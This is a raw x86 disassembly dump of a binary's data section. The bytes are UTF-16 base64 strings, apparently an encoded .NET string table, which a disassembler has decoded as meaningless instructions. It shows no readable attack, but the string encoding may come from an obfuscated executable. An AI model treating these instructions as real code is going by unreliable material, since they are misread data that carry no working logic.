41c20d:	00 31                	add    %dh,(%ecx)
41c20f:	00 63 00             	add    %ah,0x0(%ebx)
41c212:	6d                   	insl   (%dx),%es:(%edi)
41c213:	00 4e 00             	add    %cl,0x0(%esi)
41c216:	6c                   	insb   (%dx),%es:(%edi)
41c217:	00 63 00             	add    %ah,0x0(%ebx)
41c21a:	77 00                	ja     0x41c21c
41c21c:	42                   	inc    %edx
41c21d:	00 45 00             	add    %al,0x0(%ebp)
41c220:	5a                   	pop    %edx
41c221:	00 57 00             	add    %dl,0x0(%edi)
41c224:	4a                   	dec    %edx
41c225:	00 31                	add    %dh,(%ecx)
41c227:	00 5a 00             	add    %bl,0x0(%edx)
41c22a:	32 00                	xor    (%eax),%al
41c22c:	64 00 70 00          	add    %dh,%fs:0x0(%eax)
41c230:	62 00                	bound  %eax,(%eax)
41c232:	6d                   	insl   (%dx),%es:(%edi)
41c233:	00 64 00 4e          	add    %ah,0x4e(%eax,%eax,1)
41c237:	00 62 00             	add    %ah,0x0(%edx)
41c23a:	32 00                	xor    (%eax),%al
41c23c:	52                   	push   %edx
41c23d:	00 6c 00 63          	add    %ch,0x63(%eax,%eax,1)
41c241:	00 77 00             	add    %dh,0x0(%edi)
41c244:	42                   	inc    %edx
41c245:	00 68 00             	add    %ch,0x0(%eax)
41c248:	63 00                	arpl   %eax,(%eax)
41c24a:	6d                   	insl   (%dx),%es:(%edi)
41c24b:	00 64 00 7a          	add    %ah,0x7a(%eax,%eax,1)
41c24f:	00 2e                	add    %ch,(%esi)
41c251:	06                   	push   %es
41c252:	46                   	inc    %esi
41c253:	00 64 00 68          	add    %ah,0x68(%eax,%eax,1)
41c257:	00 62 00             	add    %ah,0x0(%edx)
41c25a:	47                   	inc    %edi
41c25b:	00 78 00             	add    %bh,0x0(%eax)
41c25e:	7a 00                	jp     0x41c260
41c260:	2e 06                	cs push %es
41c262:	46                   	inc    %esi
41c263:	00 4e 00             	add    %cl,0x0(%esi)
41c266:	35 00 63 00 33       	xor    $0x33006300,%eax
41c26b:	00 52 00             	add    %dl,0x0(%edx)
41c26e:	6c                   	insb   (%dx),%es:(%edi)
41c26f:	00 62 00             	add    %ah,0x0(%edx)
41c272:	53                   	push   %ebx
41c273:	00 35 00 58 00 61    	add    %dh,0x61005800
41c279:	00 57 00             	add    %dl,0x0(%edi)
41c27c:	35 00 6b 00 62       	xor    $0x62006b00,%eax
41c281:	00 33                	add    %dh,(%ebx)
41c283:	00 64 00 7a          	add    %ah,0x7a(%eax,%eax,1)
41c287:	00 4c 00 6b          	add    %cl,0x6b(%eax,%eax,1)
41c28b:	00 5a 00             	add    %bl,0x0(%edx)
41c28e:	76 00                	jbe    0x41c290
41c290:	63 00                	arpl   %eax,(%eax)
41c292:	6d                   	insl   (%dx),%es:(%edi)
41c293:	00 31                	add    %dh,(%ecx)
41c295:	00 7a 00             	add    %bh,0x0(%edx)
41c298:	2e 06                	cs push %es
41c29a:	48                   	dec    %eax
41c29b:	00 4e 00             	add    %cl,0x0(%esi)
41c29e:	6c                   	insb   (%dx),%es:(%edi)
41c29f:	00 64 00 46          	add    %ah,0x46(%eax,%eax,1)
41c2a3:	00 39                	add    %bh,(%ecx)
41c2a5:	00 42 00             	add    %al,0x0(%edx)
41c2a8:	64 00 58 00          	add    %bl,%fs:0x0(%eax)
41c2ac:	52                   	push   %edx
41c2ad:	00 76 00             	add    %dh,0x0(%esi)
41c2b0:	55                   	push   %ebp
41c2b1:	00 32                	add    %dh,(%edx)
41c2b3:	00 4e 00             	add    %cl,0x0(%esi)
41c2b6:	68 00 62 00 47       	push   $0x47006200
41c2bb:	00 56 00             	add    %dl,0x0(%esi)
41c2be:	45                   	inc    %ebp
41c2bf:	00 61 00             	add    %ah,0x0(%ecx)
41c2c2:	57                   	push   %edi
41c2c3:	00 31                	add    %dh,(%ecx)
41c2c5:	00 6c 00 62          	add    %ch,0x62(%eax,%eax,1)
41c2c9:	00 6e 00             	add    %ch,0x0(%esi)
41c2cc:	4e                   	dec    %esi
41c2cd:	00 70 00             	add    %dh,0x0(%eax)
41c2d0:	62 00                	bound  %eax,(%eax)
41c2d2:	32 00                	xor    (%eax),%al
41c2d4:	35 00 7a 00 2e       	xor    $0x2e007a00,%eax
41c2d9:	06                   	push   %es
41c2da:	47                   	inc    %edi
41c2db:	00 4e 00             	add    %cl,0x0(%esi)
41c2de:	76 00                	jbe    0x41c2e0
41c2e0:	62 00                	bound  %eax,(%eax)
41c2e2:	58                   	pop    %eax
41c2e3:	00 42 00             	add    %al,0x0(%edx)
41c2e6:	76 00                	jbe    0x41c2e8
41c2e8:	62 00                	bound  %eax,(%eax)
41c2ea:	6d                   	insl   (%dx),%es:(%edi)
41c2eb:	00 56 00             	add    %dl,0x0(%esi)
41c2ee:	75 00                	jne    0x41c2f0
41c2f0:	64 00 48 00          	add    %cl,%fs:0x0(%eax)
41c2f4:	4d                   	dec    %ebp
41c2f5:	00 2e                	add    %ch,(%esi)
41c2f7:	06                   	push   %es
41c2f8:	5a                   	pop    %edx
41c2f9:	00 32                	add    %dh,(%edx)
41c2fb:	00 39                	add    %bh,(%ecx)
41c2fd:	00 76 00             	add    %dh,0x0(%esi)
41c300:	5a                   	pop    %edx
41c301:	00 45 00             	add    %al,0x0(%ebp)
41c304:	56                   	push   %esi
41c305:	00 68 00             	add    %ch,0x0(%eax)
41c308:	64 00 2e             	add    %ch,%fs:(%esi)
41c30b:	06                   	push   %es
41c30c:	42                   	inc    %edx
41c30d:	00 44 00 62          	add    %al,0x62(%eax,%eax,1)
41c311:	00 32                	add    %dh,(%edx)
41c313:	00 35 00 6a 00 59    	add    %dh,0x59006a00
41c319:	00 58 00             	add    %bl,0x0(%eax)
41c31c:	51                   	push   %ecx
41c31d:	00 2e                	add    %ch,(%esi)
41c31f:	06                   	push   %es
41c320:	52                   	push   %edx
41c321:	00 32                	add    %dh,(%edx)
41c323:	00 56 00             	add    %dl,0x0(%esi)
41c326:	30 00                	xor    %al,(%eax)
41c328:	54                   	push   %esp
41c329:	00 32                	add    %dh,(%edx)
41c32b:	00 4a 00             	add    %cl,0x0(%edx)
41c32e:	71 00                	jno    0x41c330
41c330:	5a                   	pop    %edx
41c331:	00 57 00             	add    %dl,0x0(%edi)
41c334:	4e                   	dec    %esi
41c335:	00 30                	add    %dh,(%eax)
41c337:	00 2e                	add    %ch,(%esi)
41c339:	06                   	push   %es
41c33a:	45                   	inc    %ebp
41c33b:	00 4e 00             	add    %cl,0x0(%esi)
41c33e:	76 00                	jbe    0x41c340
41c340:	63 00                	arpl   %eax,(%eax)
41c342:	6d                   	insl   (%dx),%es:(%edi)
41c343:	00 56 00             	add    %dl,0x0(%esi)
41c346:	42                   	inc    %edx
41c347:	00 64 00 48          	add    %ah,0x48(%eax,%eax,1)
41c34b:	00 52 00             	add    %dl,0x0(%edx)
41c34e:	79 00                	jns    0x41c350
41c350:	61                   	popa
41c351:	00 57 00             	add    %dl,0x0(%edi)
41c354:	4a                   	dec    %edx
41c355:	00 31                	add    %dh,(%ecx)
41c357:	00 64 00 47          	add    %ah,0x47(%eax,%eax,1)
41c35b:	00 56 00             	add    %dl,0x0(%esi)
41c35e:	54                   	push   %esp
41c35f:	00 5a 00             	add    %bl,0x0(%edx)
41c362:	58                   	pop    %eax
41c363:	00 51 00             	add    %dl,0x0(%ecx)
41c366:	2e 06                	cs push %es
41c368:	62 00                	bound  %eax,(%eax)
41c36a:	32 00                	xor    (%eax),%al
41c36c:	5a                   	pop    %edx
41c36d:	00 6d 00             	add    %ch,0x0(%ebp)
41c370:	63 00                	arpl   %eax,(%eax)
41c372:	32 00                	xor    (%eax),%al
41c374:	56                   	push   %esi
41c375:	00 30                	add    %dh,(%eax)
41c377:	00 2e                	add    %ch,(%esi)
41c379:	06                   	push   %es
41c37a:	48                   	dec    %eax
41c37b:	00 68 00             	add    %ch,0x0(%eax)
41c37e:	4d                   	dec    %ebp
41c37f:	00 5a 00             	add    %bl,0x0(%edx)
41c382:	57                   	push   %edi
41c383:	00 5a 00             	add    %bl,0x0(%edx)
41c386:	30 00                	xor    %al,(%eax)
41c388:	2e 06                	cs push %es
41c38a:	47                   	inc    %edi
41c38b:	00 64 00 6c          	add    %ah,0x6c(%eax,%eax,1)
41c38f:	00 64 00 46          	add    %ah,0x46(%eax,%eax,1)
41c393:	00 39                	add    %bh,(%ecx)
41c395:	00 49 00             	add    %cl,0x0(%ecx)
41c398:	5a                   	pop    %edx
41c399:	00 57 00             	add    %dl,0x0(%edi)
41c39c:	6c                   	insb   (%dx),%es:(%edi)
41c39d:	00 6e 00             	add    %ch,0x0(%esi)
41c3a0:	61                   	popa
41c3a1:	00 48 00             	add    %cl,0x0(%eax)
41c3a4:	51                   	push   %ecx
41c3a5:	00 2e                	add    %ch,(%esi)
41c3a7:	06                   	push   %es
41c3a8:	62 00                	bound  %eax,(%eax)
41c3aa:	57                   	push   %edi
41c3ab:	00 46 00             	add    %al,0x0(%esi)
41c3ae:	77 00                	ja     0x41c3b0
41c3b0:	53                   	push   %ebx
41c3b1:	00 47 00             	add    %al,0x0(%edi)
41c3b4:	56                   	push   %esi
41c3b5:	00 70 00             	add    %dh,0x0(%eax)
41c3b8:	5a                   	pop    %edx
41c3b9:	00 32                	add    %dh,(%edx)
41c3bb:	00 68 00             	add    %ch,0x0(%eax)
41c3be:	30 00                	xor    %al,(%eax)
41c3c0:	2e 06                	cs push %es
41c3c2:	48                   	dec    %eax
41c3c3:	00 68 00             	add    %ch,0x0(%eax)
41c3c6:	53                   	push   %ebx
41c3c7:	00 5a 00             	add    %bl,0x0(%edx)
41c3ca:	57                   	push   %edi
41c3cb:	00 6c 00 6e          	add    %ch,0x6e(%eax,%eax,1)
41c3cf:	00 61 00             	add    %ah,0x0(%ecx)
41c3d2:	48                   	dec    %eax
41c3d3:	00 51 00             	add    %dl,0x0(%ecx)
41c3d6:	2e 06                	cs push %es
41c3d8:	53                   	push   %ebx
41c3d9:	00 57 00             	add    %dl,0x0(%edi)
41c3dc:	35 00 70 00 64       	xor    $0x64007000,%eax
41c3e1:	00 47 00             	add    %al,0x0(%edi)
41c3e4:	6c                   	insb   (%dx),%es:(%edi)
41c3e5:	00 68 00             	add    %ch,0x0(%eax)
41c3e8:	62 00                	bound  %eax,(%eax)
41c3ea:	47                   	inc    %edi
41c3eb:	00 6c 00 36          	add    %ch,0x36(%eax,%eax,1)
41c3ef:	00 5a 00             	add    %bl,0x0(%edx)
41c3f2:	55                   	push   %ebp
41c3f3:	00 4e 00             	add    %cl,0x0(%esi)
41c3f6:	76 00                	jbe    0x41c3f8
41c3f8:	62 00                	bound  %eax,(%eax)
41c3fa:	58                   	pop    %eax
41c3fb:	00 42 00             	add    %al,0x0(%edx)
41c3fe:	76 00                	jbe    0x41c400
41c400:	62 00                	bound  %eax,(%eax)
41c402:	6d                   	insl   (%dx),%es:(%edi)
41c403:	00 56 00             	add    %dl,0x0(%esi)
41c406:	75 00                	jne    0x41c408
41c408:	64 00 2e             	add    %ch,%fs:(%esi)
41c40b:	06                   	push   %es
41c40c:	42                   	inc    %edx
41c40d:	00 6e 00             	add    %ch,0x0(%esi)
41c410:	5a                   	pop    %edx
41c411:	00 58 00             	add    %bl,0x0(%eax)
41c414:	52                   	push   %edx
41c415:	00 66 00             	add    %ah,0x0(%esi)
41c418:	51                   	push   %ecx
41c419:	00 33                	add    %dh,(%ebx)
41c41b:	00 56 00             	add    %dl,0x0(%esi)
41c41e:	79 00                	jns    0x41c420
41c420:	63 00                	arpl   %eax,(%eax)
41c422:	6d                   	insl   (%dx),%es:(%edi)
41c423:	00 56 00             	add    %dl,0x0(%esi)
41c426:	75 00                	jne    0x41c428
41c428:	64 00 2e             	add    %ch,%fs:(%esi)
41c42b:	06                   	push   %es
41c42c:	42                   	inc    %edx
41c42d:	00 47 00             	add    %al,0x0(%edi)
41c430:	61                   	popa
41c431:	00 57 00             	add    %dl,0x0(%edi)
41c434:	64 00 31             	add    %dh,%fs:(%ecx)
41c437:	00 63 00             	add    %ah,0x0(%ebx)
41c43a:	6d                   	insl   (%dx),%es:(%edi)
41c43b:	00 56 00             	add    %dl,0x0(%esi)
41c43e:	51                   	push   %ecx
41c43f:	00 62 00             	add    %ah,0x0(%edx)
41c442:	32 00                	xor    (%eax),%al
41c444:	6c                   	insb   (%dx),%es:(%edi)
41c445:	00 75 00             	add    %dh,0x0(%ebp)
41c448:	64 00 2e             	add    %ch,%fs:(%esi)
41c44b:	06                   	push   %es
41c44c:	42                   	inc    %edx
41c44d:	00 6e 00             	add    %ch,0x0(%esi)
41c450:	5a                   	pop    %edx
41c451:	00 58 00             	add    %bl,0x0(%eax)
41c454:	52                   	push   %edx
41c455:	00 4f 00             	add    %cl,0x0(%edi)
41c458:	5a                   	pop    %edx
41c459:	00 58 00             	add    %bl,0x0(%eax)
41c45c:	68 00 30 00 55       	push   $0x55003000
41c461:	00 47 00             	add    %al,0x0(%edi)
41c464:	39 00                	cmp    %eax,(%eax)
41c466:	70 00                	jo     0x41c468
41c468:	62 00                	bound  %eax,(%eax)
41c46a:	6e                   	outsb  %ds:(%esi),(%dx)
41c46b:	00 51 00             	add    %dl,0x0(%ecx)
41c46e:	2e 06                	cs push %es
41c470:	5a                   	pop    %edx
41c471:	00 32                	add    %dh,(%edx)
41c473:	00 56 00             	add    %dl,0x0(%esi)
41c476:	30 00                	xor    %al,(%eax)
41c478:	58                   	pop    %eax
41c479:	00 30                	add    %dh,(%eax)
41c47b:	00 56 00             	add    %dl,0x0(%esi)
41c47e:	75 00                	jne    0x41c480
41c480:	64 00 48 00          	add    %cl,%fs:0x0(%eax)
41c484:	4a                   	dec    %edx
41c485:	00 35 00 55 00 47    	add    %dh,0x47005500
41c48b:	00 39                	add    %bh,(%ecx)
41c48d:	00 70 00             	add    %dh,0x0(%eax)
41c490:	62 00                	bound  %eax,(%eax)
41c492:	6e                   	outsb  %ds:(%esi),(%dx)
41c493:	00 51 00             	add    %dl,0x0(%ecx)
41c496:	2e 06                	cs push %es
41c498:	5a                   	pop    %edx
41c499:	00 32                	add    %dh,(%edx)
41c49b:	00 56 00             	add    %dl,0x0(%esi)
41c49e:	30 00                	xor    %al,(%eax)
41c4a0:	58                   	pop    %eax
41c4a1:	00 30                	add    %dh,(%eax)
41c4a3:	00 4e 00             	add    %cl,0x0(%esi)
41c4a6:	76 00                	jbe    0x41c4a8
41c4a8:	64 00 57 00          	add    %dl,%fs:0x0(%edi)
41c4ac:	35 00 30 00 2e       	xor    $0x2e003000,%eax
41c4b1:	06                   	push   %es
41c4b2:	48                   	dec    %eax
41c4b3:	00 6c 00 47          	add    %ch,0x47(%eax,%eax,1)
41c4b7:	00 62 00             	add    %ah,0x0(%edx)
41c4ba:	32 00                	xor    (%eax),%al
41c4bc:	39 00                	cmp    %eax,(%eax)
41c4be:	30 00                	xor    %al,(%eax)
41c4c0:	2e 06                	cs push %es
41c4c2:	45                   	inc    %ebp
41c4c3:	00 6c 00 75          	add    %ch,0x75(%eax,%eax,1)
41c4c7:	00 63 00             	add    %ah,0x0(%ebx)
41c4ca:	32 00                	xor    (%eax),%al
41c4cc:	56                   	push   %esi
41c4cd:	00 79 00             	add    %bh,0x0(%ecx)
41c4d0:	64 00 2e             	add    %ch,%fs:(%esi)
41c4d3:	06                   	push   %es
41c4d4:	42                   	inc    %edx
41c4d5:	00 33                	add    %dh,(%ebx)
41c4d7:	00 59 00             	add    %bl,0x0(%ecx)
41c4da:	57                   	push   %edi
41c4db:	00 78 00             	add    %bh,0x0(%eax)
41c4de:	73 00                	jae    0x41c4e0
41c4e0:	54                   	push   %esp
41c4e1:	00 47 00             	add    %al,0x0(%edi)
41c4e4:	6c                   	insb   (%dx),%es:(%edi)
41c4e5:	00 7a 00             	add    %bh,0x0(%edx)
41c4e8:	64 00 2e             	add    %ch,%fs:(%esi)
41c4eb:	06                   	push   %es
41c4ec:	42                   	inc    %edx
41c4ed:	00 77 00             	add    %dh,0x0(%edi)
41c4f0:	54                   	push   %esp
41c4f1:	00 47 00             	add    %al,0x0(%edi)
41c4f4:	6c                   	insb   (%dx),%es:(%edi)
41c4f5:	00 7a 00             	add    %bh,0x0(%edx)
41c4f8:	64 00 2e             	add    %ch,%fs:(%esi)
41c4fb:	06                   	push   %es
41c4fc:	42                   	inc    %edx
41c4fd:	00 44 00 62          	add    %al,0x62(%eax,%eax,1)
41c501:	00 33                	add    %dh,(%ebx)
41c503:	00 4a 00             	add    %cl,0x0(%edx)
41c506:	6c                   	insb   (%dx),%es:(%edi)
41c507:	00 51 00             	add    %dl,0x0(%ecx)
41c50a:	58                   	pop    %eax
41c50b:	00 52 00             	add    %dl,0x0(%edx)
41c50e:	30 00                	xor    %al,(%eax)
41c510:	2e 06                	cs push %es